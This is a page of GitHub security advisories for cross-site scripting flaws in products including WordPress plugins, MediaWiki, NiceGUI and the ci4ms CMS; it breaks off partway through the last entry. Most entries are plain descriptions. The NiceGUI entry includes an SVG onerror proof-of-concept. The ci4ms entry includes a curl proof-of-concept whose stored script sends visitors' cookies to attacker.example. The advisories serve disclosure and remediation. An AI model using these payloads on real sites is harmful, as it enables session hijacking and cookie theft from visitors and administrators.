CWE-79
AllowedImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Abstraction: Base · Status: Stable
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
66764 vulnerabilities reference this CWE, most recent first.
GHSA-2M47-V5FJ-PW7F
Vulnerability from github – Published: 2024-03-18 18:32 – Updated: 2024-03-18 18:32Adobe Experience Manager versions 6.5.19 and earlier are affected by a reflected Cross-Site Scripting (XSS) vulnerability. If an attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim's browser.
{
"affected": [],
"aliases": [
"CVE-2024-26118"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-18T18:15:18Z",
"severity": "MODERATE"
},
"details": "Adobe Experience Manager versions 6.5.19 and earlier are affected by a reflected Cross-Site Scripting (XSS) vulnerability. If an attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim\u0027s browser.",
"id": "GHSA-2m47-v5fj-pw7f",
"modified": "2024-03-18T18:32:22Z",
"published": "2024-03-18T18:32:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-26118"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/experience-manager/apsb24-05.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2M48-JX4V-6C4H
Vulnerability from github – Published: 2022-05-14 02:47 – Updated: 2022-05-14 02:47Cross-site scripting (XSS) vulnerability in the Ultimate Member WordPress plugin before 1.3.29 for WordPress allows remote attackers to inject arbitrary web script or HTML via the _refer parameter to wp-admin/users.php.
{
"affected": [],
"aliases": [
"CVE-2015-8354"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-09-11T20:29:00Z",
"severity": "MODERATE"
},
"details": "Cross-site scripting (XSS) vulnerability in the Ultimate Member WordPress plugin before 1.3.29 for WordPress allows remote attackers to inject arbitrary web script or HTML via the _refer parameter to wp-admin/users.php.",
"id": "GHSA-2m48-jx4v-6c4h",
"modified": "2022-05-14T02:47:11Z",
"published": "2022-05-14T02:47:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-8354"
},
{
"type": "WEB",
"url": "https://wpvulndb.com/vulnerabilities/8346"
},
{
"type": "WEB",
"url": "https://www.htbridge.com/advisory/HTB23277"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/134601/WordPress-Ultimate-Member-1.3.28-Cross-Site-Scripting.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/537021/100/0/threaded"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2M49-JGWW-VG42
Vulnerability from github – Published: 2025-10-22 15:31 – Updated: 2026-01-20 15:31Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ERA404 CropRefine croprefine allows Reflected XSS.This issue affects CropRefine: from n/a through <= 1.2.1.
{
"affected": [],
"aliases": [
"CVE-2025-52734"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-22T15:15:43Z",
"severity": "CRITICAL"
},
"details": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027) vulnerability in ERA404 CropRefine croprefine allows Reflected XSS.This issue affects CropRefine: from n/a through \u003c= 1.2.1.",
"id": "GHSA-2m49-jgww-vg42",
"modified": "2026-01-20T15:31:25Z",
"published": "2025-10-22T15:31:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-52734"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/croprefine/vulnerability/wordpress-croprefine-plugin-1-2-1-cross-site-scripting-xss-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://vdp.patchstack.com/database/Wordpress/Plugin/croprefine/vulnerability/wordpress-croprefine-plugin-1-2-1-cross-site-scripting-xss-vulnerability"
},
{
"type": "WEB",
"url": "https://vdp.patchstack.com/database/Wordpress/Plugin/croprefine/vulnerability/wordpress-croprefine-plugin-1-2-1-cross-site-scripting-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2M4F-CG75-76W2
Vulnerability from github – Published: 2025-12-08 21:30 – Updated: 2025-12-09 16:32Summary
A Cross-Site Scripting (XSS) vulnerability exists in the ui.interactive_image component of NiceGUI (v3.3.1 and earlier). The component renders SVG content using Vue's v-html directive without any sanitization. This allows attackers to inject malicious HTML or JavaScript via the SVG <foreignObject> tag.
Details
The vulnerability is located in nicegui/elements/interactive_image.js.
The component uses the following code to render content:
<g v-html="content"></g>
Vue's v-html directive renders raw HTML strings into the DOM. If an application allows user-controlled input to be passed to the content property of an interactive image, an attacker can embed a tag containing malicious scripts, bypassing typical image restrictions.
PoC
from nicegui import ui
@ui.page('/')
def main():
ui.label('NiceGUI SVG XSS PoC')
# Standard image loading
img = ui.interactive_image('[https://picsum.photos/640/360](https://picsum.photos/640/360)')
# Payload: Embeds raw HTML execution inside SVG
# This executes immediately when the image component is rendered
img.content = (
'<foreignObject>'
'<body xmlns="[http://www.w3.org/1999/xhtml](http://www.w3.org/1999/xhtml)">'
'<img src=x onerror=alert("XSS-SVG")>'
'</body>'
'</foreignObject>'
)
ui.run()
Impact
-
Type: Reflected / Stored XSS (depending on data source)
-
Severity: Moderate
-
Impact: Attackers can inject malicious scripts that execute whenever the image component is rendered or updated. This is particularly dangerous for dashboards or multi-user applications displaying user-generated content or annotations.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.3.1"
},
"package": {
"ecosystem": "PyPI",
"name": "nicegui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-66470"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-08T21:30:39Z",
"nvd_published_at": "2025-12-09T01:16:54Z",
"severity": "MODERATE"
},
"details": "### Summary\nA Cross-Site Scripting (XSS) vulnerability exists in the `ui.interactive_image` component of NiceGUI (v3.3.1 and earlier). The component renders SVG content using Vue\u0027s `v-html` directive without any sanitization. This allows attackers to inject malicious HTML or JavaScript via the SVG `\u003cforeignObject\u003e` tag.\n\n### Details\nThe vulnerability is located in `nicegui/elements/interactive_image.js`.\nThe component uses the following code to render content:\n```javascript\n\u003cg v-html=\"content\"\u003e\u003c/g\u003e\n```\nVue\u0027s v-html directive renders raw HTML strings into the DOM. If an application allows user-controlled input to be passed to the content property of an interactive image, an attacker can embed a \u003cforeignObject\u003e tag containing malicious scripts, bypassing typical image restrictions.\n\n### PoC\n```python\nfrom nicegui import ui\n\n@ui.page(\u0027/\u0027)\ndef main():\n ui.label(\u0027NiceGUI SVG XSS PoC\u0027)\n \n # Standard image loading\n img = ui.interactive_image(\u0027[https://picsum.photos/640/360](https://picsum.photos/640/360)\u0027)\n \n # Payload: Embeds raw HTML execution inside SVG\n # This executes immediately when the image component is rendered\n img.content = (\n \u0027\u003cforeignObject\u003e\u0027\n \u0027\u003cbody xmlns=\"[http://www.w3.org/1999/xhtml](http://www.w3.org/1999/xhtml)\"\u003e\u0027\n \u0027\u003cimg src=x onerror=alert(\"XSS-SVG\")\u003e\u0027\n \u0027\u003c/body\u003e\u0027\n \u0027\u003c/foreignObject\u003e\u0027\n )\n\nui.run()\n```\n\n### Impact\n- Type: Reflected / Stored XSS (depending on data source)\n\n- Severity: Moderate\n\n- Impact: Attackers can inject malicious scripts that execute whenever the image component is rendered or updated. This is particularly dangerous for dashboards or multi-user applications displaying user-generated content or annotations.",
"id": "GHSA-2m4f-cg75-76w2",
"modified": "2025-12-09T16:32:08Z",
"published": "2025-12-08T21:30:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/zauberzeug/nicegui/security/advisories/GHSA-2m4f-cg75-76w2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66470"
},
{
"type": "WEB",
"url": "https://github.com/zauberzeug/nicegui/commit/58ad0b36e19922de16bbc79ea3ddd29851b1a3e3"
},
{
"type": "PACKAGE",
"url": "https://github.com/zauberzeug/nicegui"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "NiceGUI Stored/Reflected XSS in ui.interactive_image via unsanitized SVG content"
}
GHSA-2M4H-MQ5R-2FGV
Vulnerability from github – Published: 2022-05-24 19:12 – Updated: 2022-05-24 19:12Cross Site Scripting (XSS) in Blog_mini v1.0 allows remote attackers to execute arbitrary code via the component '/admin/submit-articles'.
{
"affected": [],
"aliases": [
"CVE-2020-18999"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-08-27T19:15:00Z",
"severity": "MODERATE"
},
"details": "Cross Site Scripting (XSS) in Blog_mini v1.0 allows remote attackers to execute arbitrary code via the component \u0027/admin/submit-articles\u0027.",
"id": "GHSA-2m4h-mq5r-2fgv",
"modified": "2022-05-24T19:12:23Z",
"published": "2022-05-24T19:12:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-18999"
},
{
"type": "WEB",
"url": "https://github.com/xpleaf/Blog_mini/issues/44"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-2M4P-PVG2-R5CW
Vulnerability from github – Published: 2022-05-24 17:36 – Updated: 2022-10-06 00:00MediaWiki before 1.35.1 allows XSS via BlockLogFormatter.php. Language::translateBlockExpiry itself does not escape in all code paths. For example, the return of Language::userTimeAndDate is is always unsafe for HTML in a month value. This affects MediaWiki 1.12.0 and later.
{
"affected": [],
"aliases": [
"CVE-2020-35479"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-12-18T08:15:00Z",
"severity": "MODERATE"
},
"details": "MediaWiki before 1.35.1 allows XSS via BlockLogFormatter.php. Language::translateBlockExpiry itself does not escape in all code paths. For example, the return of Language::userTimeAndDate is is always unsafe for HTML in a month value. This affects MediaWiki 1.12.0 and later.",
"id": "GHSA-2m4p-pvg2-r5cw",
"modified": "2022-10-06T00:00:55Z",
"published": "2022-05-24T17:36:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-35479"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2020/12/msg00034.html"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/STT5Z4A3BCXVH3WIPICWU2FP4IPIMUPC"
},
{
"type": "WEB",
"url": "https://lists.wikimedia.org/pipermail/mediawiki-announce/2020-December/000268.html"
},
{
"type": "WEB",
"url": "https://phabricator.wikimedia.org/T268938"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2020/dsa-4816"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2M4Q-6966-V2Q4
Vulnerability from github – Published: 2023-03-16 15:30 – Updated: 2023-03-22 03:30Cross Site Scripting vulnerability found in Markdown Edit allows a remote attacker to execute arbitrary code via the edit parameter of the webpage.
{
"affected": [],
"aliases": [
"CVE-2020-19947"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-03-16T15:15:00Z",
"severity": "CRITICAL"
},
"details": "Cross Site Scripting vulnerability found in Markdown Edit allows a remote attacker to execute arbitrary code via the edit parameter of the webpage.",
"id": "GHSA-2m4q-6966-v2q4",
"modified": "2023-03-22T03:30:16Z",
"published": "2023-03-16T15:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-19947"
},
{
"type": "WEB",
"url": "https://github.com/georgeOsdDev/markdown-edit/issues/12"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2M52-9VFW-WQ4V
Vulnerability from github – Published: 2022-05-17 04:02 – Updated: 2022-05-17 04:02Cross-site scripting (XSS) vulnerability in the PageTriage toolbar in the PageTriage extension for MediWiki allows remote attackers to inject arbitrary web script or HTML via the page title.
{
"affected": [],
"aliases": [
"CVE-2015-8006"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2015-11-09T18:59:00Z",
"severity": "MODERATE"
},
"details": "Cross-site scripting (XSS) vulnerability in the PageTriage toolbar in the PageTriage extension for MediWiki allows remote attackers to inject arbitrary web script or HTML via the page title.",
"id": "GHSA-2m52-9vfw-wq4v",
"modified": "2022-05-17T04:02:24Z",
"published": "2022-05-17T04:02:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-8006"
},
{
"type": "WEB",
"url": "https://lists.wikimedia.org/pipermail/mediawiki-announce/2015-October/000182.html"
},
{
"type": "WEB",
"url": "https://phabricator.wikimedia.org/T111029"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1034028"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-2M5H-PC3M-X5GQ
Vulnerability from github – Published: 2022-05-01 23:46 – Updated: 2022-05-01 23:46Cross-site scripting (XSS) vulnerability in index.php in Virtual Design Studio vlbook 1.21 allows remote attackers to inject arbitrary web script or HTML via the l parameter, a different vector than CVE-2006-3260.
{
"affected": [],
"aliases": [
"CVE-2008-2072"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-05-05T16:20:00Z",
"severity": "MODERATE"
},
"details": "Cross-site scripting (XSS) vulnerability in index.php in Virtual Design Studio vlbook 1.21 allows remote attackers to inject arbitrary web script or HTML via the l parameter, a different vector than CVE-2006-3260.",
"id": "GHSA-2m5h-pc3m-x5gq",
"modified": "2022-05-01T23:46:16Z",
"published": "2022-05-01T23:46:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-2072"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/42126"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/5529"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/30046"
},
{
"type": "WEB",
"url": "http://securityreason.com/securityalert/3854"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/491519/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/29006"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-2M69-JMVH-6CHR
Vulnerability from github – Published: 2026-05-18 15:39 – Updated: 2026-05-18 15:39Summary
The custom html_purify validation rule used to sanitize blog post bodies relies on by-reference mutation (?string &$str), but CodeIgniter 4's validator passes a local copy of the value, so the sanitized text is silently discarded. The Blog controller writes $lanData['content'] directly into blog_langs.content, and the public template echoes it without escaping — yielding stored XSS executable in any visitor's browser, including the superadmin when previewing or editing posts.
Details
Root cause: by-reference mutation never propagates
Modules\Backend\Validation\CustomRules::html_purify declares its first argument by reference:
// modules/Backend/Validation/CustomRules.php:54-73
public function html_purify(?string &$str = null, ?string &$error = null): bool
{
if (empty(trim((string)$str))) return true;
if (!class_exists('\HTMLPurifier')) { $error = lang('Backend.htmlPurifierNotFound'); return false; }
$clean = self::sanitizeHtml($str);
$str = $clean; // <-- mutates only the local $value in CI4's validator
self::$cleanCache[md5((string)$str)] = $clean; // <-- key is md5(CLEAN), getClean() looks up md5(ORIGINAL)
return true;
}
CI4's validator invokes the rule via a local variable $value it created from a copy of $this->data:
// vendor/codeigniter4/framework/system/Validation/Validation.php:204-211
foreach ($values as $dotField => $value) { // local $value
$this->processRules($dotField, $setup['label'] ?? $field, $value, $rules, $data, $field);
}
// Validation.php:343-345
$passed = ($param === null)
? $set->{$rule}($value, $error) // <-- $value is the local var
: $set->{$rule}($value, $param, $data, $error, $field);
The reference mutation modifies that local $value only; $this->data, $_POST, and getValidated() keep the raw payload. The optional getClean($original) cache lookup in CustomRules.php:85-93 also fails because the cache was keyed on md5(clean) rather than md5(original).
Sink: raw POST is persisted and rendered unescaped
The Blog controller takes $_POST['lang'] verbatim, runs it through validation (which always returns true for html_purify), and writes it to the database with no further filtering:
// modules/Blog/Controllers/Blog.php:94-125 (Blog::new)
$langsPost = $this->request->getPost('lang'); // raw, unsanitized
...
if ($this->validate($valData) == false) return redirect()->...; // html_purify returns true
...
foreach ($langsPost as $lanCode => $lanData) {
$this->commonModel->create('blog_langs', [
'blog_id' => $insertID,
'lang' => $lanCode,
'title' => trim(strip_tags($lanData['title'])),
'seflink' => trim(strip_tags($lanData['seflink'])),
'content' => $lanData['content'], // <-- raw HTML stored
...
]);
}
The same pattern is used in Blog::edit at modules/Blog/Controllers/Blog.php:178 and :201.
The public blog post template echoes the field with no escaping:
// app/Views/templates/default/blog/post.php:51
<section class="mb-5" id="ci4ms-content">
<?php echo $infos->content ?>
</section>
The view is reached through App\Controllers\Home::post* (Home.php:238), which is an unauthenticated public route.
Trust boundary
Backend routes (modules/Blog/Config/Routes.php) are protected by backendGuard + Shield role checks, requiring blogs.create / blogs.update. These are delegated content-editor roles, not equivalent to superadmin: an editor cannot install plugins, run SQL, or access the file editor. Stored XSS therefore lets a low-privilege editor escalate by hijacking a superadmin session when the admin previews or edits the post (frontend /blog/<slug> is the executing surface; admin browsers visit it routinely). Independent of admin escalation, every public visitor that loads the post executes the attacker's JavaScript.
Same defect in the Pages module
A previous Stored XSS in the Pages module was "fixed" by introducing the very html_purify rule that this advisory shows is non-functional. Pages controllers (Pages::create, Pages::update) follow the same pattern and remain exploitable.
PoC
Prerequisite: any account holding the backend blogs.create role (or blogs.update for the edit variant). Cookies obtained via the standard backend login flow.
- Submit a blog post with an XSS payload as the content body:
curl -k -b cookies.txt -X POST https://target/backend/blogs/create \
-d 'lang[en][title]=POC' \
-d 'lang[en][seflink]=poc-xss' \
-d "lang[en][content]=<script>fetch('https://attacker.example/?c='+encodeURIComponent(document.cookie))</script>" \
-d 'isActive=1' \
-d 'categories[]=1' \
-d 'author=1' \
-d 'created_at=01.01.2026 10:00:00' \
-d 'csrf_token_name=<token>'
-
The validator returns success (
html_purifyreportstrue), and the row is written toblog_langswithcontent=<script>...</script>verbatim. -
Visit the public post URL
https://target/blog/poc-xss. The injected<script>runs in every visitor's browser and exfiltrates their cookies. When a superadmin opens the post (e.g., from the backend list to review it), the script executes with the admin's session.
Independent root-cause verification (run against the local app):
$ php /tmp/test_blog_flow.php
Validation passed: true
Stored content for en: <script>alert("STORED-XSS-PROOF-"+document.domain)</script>
That is, when the same payload is fed to the real CI4 validator with the project's rule set, getValidated()['lang']['en']['content'] returns the unmodified <script>...</script>, confirming the by-reference sanitization is dropped.
Impact
- Stored XSS reachable by any account with
blogs.createorblogs.update(delegated content-editor permission), executed in the browser of: - every anonymous public visitor that loads the affected blog post,
- the superadmin and other backend reviewers when they open or preview the post.
- Direct consequences include theft of session cookies / CSRF tokens, account takeover via authenticated requests on behalf of the victim, content tampering, drive-by malware, and phishing of site visitors.
- Because the same broken
html_purifyrule was the previous fix for the Pages Stored XSS, the Pages module is also still exploitable throughPages::create/Pages::updatevia the same primitive — i.e., this is a project-wide regression of an already-published advisory. - The
getClean()cache fallback intended as a backstop is also non-functional (key mismatch betweenmd5(clean)writer andmd5(original)reader).
Recommended Fix
- Stop relying on by-reference mutation inside the validation rule. Either (a) sanitize at the sink in every controller that accepts WYSIWYG HTML, or (b) sanitize after
validate()and before persisting.
Minimal, immediate fix in the Blog controller — apply to both new and edit:
php
// modules/Blog/Controllers/Blog.php (Blog::new, ~line 123 and Blog::edit, ~line 201)
use Modules\Backend\Validation\CustomRules;
...
$this->commonModel->create('blog_langs', [
'blog_id' => $insertID,
'lang' => $lanCode,
'title' => trim(strip_tags($lanData['title'])),
'seflink' => trim(strip_tags($lanData['seflink'])),
'content' => CustomRules::sanitizeHtml((string)($lanData['content'] ?? '')),
'seo' => !empty($seoData) ? $seoData : '',
]);
Apply the identical change to modules/Pages/Controllers/Pages.php (the previous Pages Stored XSS fix relied on html_purify and is therefore still vulnerable).
- Fix the cache key bug so
getClean()actually works as a defense-in-depth backstop:
php
// modules/Backend/Validation/CustomRules.php
public function html_purify(?string &$str = null, ?string &$error = null): bool
{
if (empty(trim((string)$str))) return true;
if (!class_exists('\HTMLPurifier')) { $error = lang('Backend.htmlPurifierNotFound'); return false; }
$original = (string)$str;
$clean = self::sanitizeHtml($original);
self::$cleanCache[md5($original)] = $clean; // key on ORIGINAL, before reassignment
$str = $clean; // best-effort; CI4 will drop this
return true;
}
-
Document explicitly in
CustomRulesthathtml_purifyis not a sanitizer — it returnstrueunconditionally on any HTMLPurifier-installed environment — and that callers MUST useCustomRules::sanitizeHtml(...)(orCustomRules::getClean($original)after the cache fix) on$_POSTdata before storage. -
Defense in depth: escape
$infos->contentat output where feasible (e.g.,app/Views/templates/default/blog/post.php:51), or pipe the stored value throughCustomRules::sanitizeHtml()on read for templates that are expected to render rich HTML — guaranteeing safety even if a future caller forgets the sanitizer.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.31.8.0"
},
"package": {
"ecosystem": "Packagist",
"name": "ci4-cms-erp/ci4ms"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.31.9.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45138"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-18T15:39:33Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nThe custom `html_purify` validation rule used to sanitize blog post bodies relies on by-reference mutation (`?string \u0026$str`), but CodeIgniter 4\u0027s validator passes a local copy of the value, so the sanitized text is silently discarded. The Blog controller writes `$lanData[\u0027content\u0027]` directly into `blog_langs.content`, and the public template echoes it without escaping \u2014 yielding stored XSS executable in any visitor\u0027s browser, including the superadmin when previewing or editing posts.\n\n## Details\n\n### Root cause: by-reference mutation never propagates\n\n`Modules\\Backend\\Validation\\CustomRules::html_purify` declares its first argument by reference:\n\n```php\n// modules/Backend/Validation/CustomRules.php:54-73\npublic function html_purify(?string \u0026$str = null, ?string \u0026$error = null): bool\n{\n if (empty(trim((string)$str))) return true;\n if (!class_exists(\u0027\\HTMLPurifier\u0027)) { $error = lang(\u0027Backend.htmlPurifierNotFound\u0027); return false; }\n $clean = self::sanitizeHtml($str);\n $str = $clean; // \u003c-- mutates only the local $value in CI4\u0027s validator\n self::$cleanCache[md5((string)$str)] = $clean; // \u003c-- key is md5(CLEAN), getClean() looks up md5(ORIGINAL)\n return true;\n}\n```\n\nCI4\u0027s validator invokes the rule via a local variable `$value` it created from a copy of `$this-\u003edata`:\n\n```php\n// vendor/codeigniter4/framework/system/Validation/Validation.php:204-211\nforeach ($values as $dotField =\u003e $value) { // local $value\n $this-\u003eprocessRules($dotField, $setup[\u0027label\u0027] ?? $field, $value, $rules, $data, $field);\n}\n\n// Validation.php:343-345\n$passed = ($param === null)\n ? $set-\u003e{$rule}($value, $error) // \u003c-- $value is the local var\n : $set-\u003e{$rule}($value, $param, $data, $error, $field);\n```\n\nThe reference mutation modifies that local `$value` only; `$this-\u003edata`, `$_POST`, and `getValidated()` keep the raw payload. The optional `getClean($original)` cache lookup in CustomRules.php:85-93 also fails because the cache was keyed on `md5(clean)` rather than `md5(original)`.\n\n### Sink: raw POST is persisted and rendered unescaped\n\nThe Blog controller takes `$_POST[\u0027lang\u0027]` verbatim, runs it through validation (which always returns true for `html_purify`), and writes it to the database with no further filtering:\n\n```php\n// modules/Blog/Controllers/Blog.php:94-125 (Blog::new)\n$langsPost = $this-\u003erequest-\u003egetPost(\u0027lang\u0027); // raw, unsanitized\n...\nif ($this-\u003evalidate($valData) == false) return redirect()-\u003e...; // html_purify returns true\n...\nforeach ($langsPost as $lanCode =\u003e $lanData) {\n $this-\u003ecommonModel-\u003ecreate(\u0027blog_langs\u0027, [\n \u0027blog_id\u0027 =\u003e $insertID,\n \u0027lang\u0027 =\u003e $lanCode,\n \u0027title\u0027 =\u003e trim(strip_tags($lanData[\u0027title\u0027])),\n \u0027seflink\u0027 =\u003e trim(strip_tags($lanData[\u0027seflink\u0027])),\n \u0027content\u0027 =\u003e $lanData[\u0027content\u0027], // \u003c-- raw HTML stored\n ...\n ]);\n}\n```\n\nThe same pattern is used in `Blog::edit` at `modules/Blog/Controllers/Blog.php:178` and `:201`.\n\nThe public blog post template echoes the field with no escaping:\n\n```php\n// app/Views/templates/default/blog/post.php:51\n\u003csection class=\"mb-5\" id=\"ci4ms-content\"\u003e\n \u003c?php echo $infos-\u003econtent ?\u003e\n\u003c/section\u003e\n```\n\nThe view is reached through `App\\Controllers\\Home::post*` (Home.php:238), which is an unauthenticated public route.\n\n### Trust boundary\n\nBackend routes (`modules/Blog/Config/Routes.php`) are protected by `backendGuard` + Shield role checks, requiring `blogs.create` / `blogs.update`. These are delegated content-editor roles, not equivalent to superadmin: an editor cannot install plugins, run SQL, or access the file editor. Stored XSS therefore lets a low-privilege editor escalate by hijacking a superadmin session when the admin previews or edits the post (frontend `/blog/\u003cslug\u003e` is the executing surface; admin browsers visit it routinely). Independent of admin escalation, every public visitor that loads the post executes the attacker\u0027s JavaScript.\n\n### Same defect in the Pages module\n\nA previous Stored XSS in the Pages module was \"fixed\" by introducing the very `html_purify` rule that this advisory shows is non-functional. Pages controllers (`Pages::create`, `Pages::update`) follow the same pattern and remain exploitable.\n\n## PoC\n\nPrerequisite: any account holding the backend `blogs.create` role (or `blogs.update` for the edit variant). Cookies obtained via the standard backend login flow.\n\n1. Submit a blog post with an XSS payload as the content body:\n\n```bash\ncurl -k -b cookies.txt -X POST https://target/backend/blogs/create \\\n -d \u0027lang[en][title]=POC\u0027 \\\n -d \u0027lang[en][seflink]=poc-xss\u0027 \\\n -d \"lang[en][content]=\u003cscript\u003efetch(\u0027https://attacker.example/?c=\u0027+encodeURIComponent(document.cookie))\u003c/script\u003e\" \\\n -d \u0027isActive=1\u0027 \\\n -d \u0027categories[]=1\u0027 \\\n -d \u0027author=1\u0027 \\\n -d \u0027created_at=01.01.2026 10:00:00\u0027 \\\n -d \u0027csrf_token_name=\u003ctoken\u003e\u0027\n```\n\n2. The validator returns success (`html_purify` reports `true`), and the row is written to `blog_langs` with `content` = `\u003cscript\u003e...\u003c/script\u003e` verbatim.\n\n3. Visit the public post URL `https://target/blog/poc-xss`. The injected `\u003cscript\u003e` runs in every visitor\u0027s browser and exfiltrates their cookies. When a superadmin opens the post (e.g., from the backend list to review it), the script executes with the admin\u0027s session.\n\nIndependent root-cause verification (run against the local app):\n\n```bash\n$ php /tmp/test_blog_flow.php\nValidation passed: true\nStored content for en: \u003cscript\u003ealert(\"STORED-XSS-PROOF-\"+document.domain)\u003c/script\u003e\n```\n\nThat is, when the same payload is fed to the real CI4 validator with the project\u0027s rule set, `getValidated()[\u0027lang\u0027][\u0027en\u0027][\u0027content\u0027]` returns the unmodified `\u003cscript\u003e...\u003c/script\u003e`, confirming the by-reference sanitization is dropped.\n\n## Impact\n\n- **Stored XSS reachable by any account with `blogs.create` or `blogs.update`** (delegated content-editor permission), executed in the browser of:\n - every anonymous public visitor that loads the affected blog post,\n - the superadmin and other backend reviewers when they open or preview the post.\n- Direct consequences include theft of session cookies / CSRF tokens, account takeover via authenticated requests on behalf of the victim, content tampering, drive-by malware, and phishing of site visitors.\n- Because the same broken `html_purify` rule was the previous fix for the Pages Stored XSS, the Pages module is also still exploitable through `Pages::create` / `Pages::update` via the same primitive \u2014 i.e., this is a project-wide regression of an already-published advisory.\n- The `getClean()` cache fallback intended as a backstop is also non-functional (key mismatch between `md5(clean)` writer and `md5(original)` reader).\n\n## Recommended Fix\n\n1. Stop relying on by-reference mutation inside the validation rule. Either (a) sanitize *at the sink* in every controller that accepts WYSIWYG HTML, or (b) sanitize after `validate()` and before persisting.\n\n Minimal, immediate fix in the Blog controller \u2014 apply to both `new` and `edit`:\n\n ```php\n // modules/Blog/Controllers/Blog.php (Blog::new, ~line 123 and Blog::edit, ~line 201)\n use Modules\\Backend\\Validation\\CustomRules;\n ...\n $this-\u003ecommonModel-\u003ecreate(\u0027blog_langs\u0027, [\n \u0027blog_id\u0027 =\u003e $insertID,\n \u0027lang\u0027 =\u003e $lanCode,\n \u0027title\u0027 =\u003e trim(strip_tags($lanData[\u0027title\u0027])),\n \u0027seflink\u0027 =\u003e trim(strip_tags($lanData[\u0027seflink\u0027])),\n \u0027content\u0027 =\u003e 